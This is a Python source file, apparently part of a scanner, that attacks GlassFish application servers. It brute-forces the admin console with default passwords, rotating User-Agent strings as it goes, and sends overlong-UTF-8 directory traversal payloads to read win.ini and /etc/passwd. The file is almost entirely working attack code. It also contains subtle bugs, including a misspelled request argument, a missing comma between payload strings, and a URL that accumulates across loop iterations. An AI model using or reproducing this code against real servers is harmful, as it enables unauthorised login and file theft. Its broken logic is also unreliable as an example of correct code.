#coding=utf-8 import requests from user_agent import get_user_agent def glassfish_weak1(host): try: url = "https://%s" % (host) headers = {'User-Agent': get_user_agent()} flag_list = ['Just refresh the page... login will take over', 'GlassFish Console - Common Tasks', '/resource/common/js/adminjsf.js">', 'Admin Console', 'src="/homePage.jsf"', 'src="/header.jsf"', 'Common Tasks', 'title="Logout from GlassFish'] user_list = ['admin'] pass_list = ['admin', 'glassfish', 'password', '123456', '12345678', '123456789', 'admin123', 'admin888', 'admin1', 'administrator', '8888888', '123123', 'manager', 'root'] for user in user_list: for password in pass_list: try: PostStr = 'j_username=%s&j_password=%s&loginButton=Login&loginButton.DisabledHiddenField=true' % ( user, password) s = requests.post(url + '/common/j_security_check', data=PostStr, header=headers) res_html = s.text except Exception: return "/common/j_security_check no exist glassfish weak password" for flag in flag_list: if flag in res_html: info = '%s/common GlassFish Weak password %s:%s' % (url, user, password) return 'YES|' + info return "/common/j_security_check no exist glassfish weak password" except Exception: return "/common/j_security_check no exist glassfish weak password" def glassfish_weak2(host): try: url = "http://%s" % (host) headers = {'User-Agent': get_user_agent()} flag_list = ['Just refresh the page... login will take over', 'GlassFish Console - Common Tasks', '/resource/common/js/adminjsf.js">', 'Admin Console', 'src="/homePage.jsf"', 'src="/header.jsf"', 'src="/index.jsf"', 'Common Tasks', 'title="Logout from GlassFish'] user_list = ['admin'] pass_list = ['admin', 'glassfish', 'password', 'adminadmin', '123456', '12345678', '123456789', 'admin123', 'admin888', 'admin1', 'administrator', '8888888', '123123', 'manager', 'root'] for user in user_list: for password in pass_list: try: PostStr = 'j_username=%s&j_password=%s&loginButton=Login&loginButton.DisabledHiddenField=true' % ( user, password) res = requests.post(url + '/j_security_check?loginButton=Login', data=PostStr, headers=headers) res_html = res.text except Exception: return "no exist index.jsf GlassFish Weak password" for flag in flag_list: if flag in res_html: info = '%s/index.jsf GlassFish Weak password %s:%s' % (url, user, password) return 'YES|' + info return "no exist index.jsf GlassFish Weak password" except Exception: return "no exist index.jsf GlassFish Weak password" def glassfish_Directory_traversal(url): #https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18822 try: headers = {'User-Agent': get_user_agent()} poc = [ "/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini", "/theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini", "/theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini", "/theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini", "/theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini", "/theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini" "/theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/etc/passwd" ] flag = ["[fonts]", "root"] for i in poc: url = url + i s = requests.get(url=url, headers=headers) for j in flag: if j in s.text: return "exist Directory_traversal vuln" return "no exist Directory_traversal vuln" except Exception: return "no exist Directory_traversal vuln" def glassfish(url): a=glassfish_weak1(url) print(a) b=glassfish_weak2(url) print(b) c=glassfish_Directory_traversal(url) print(c)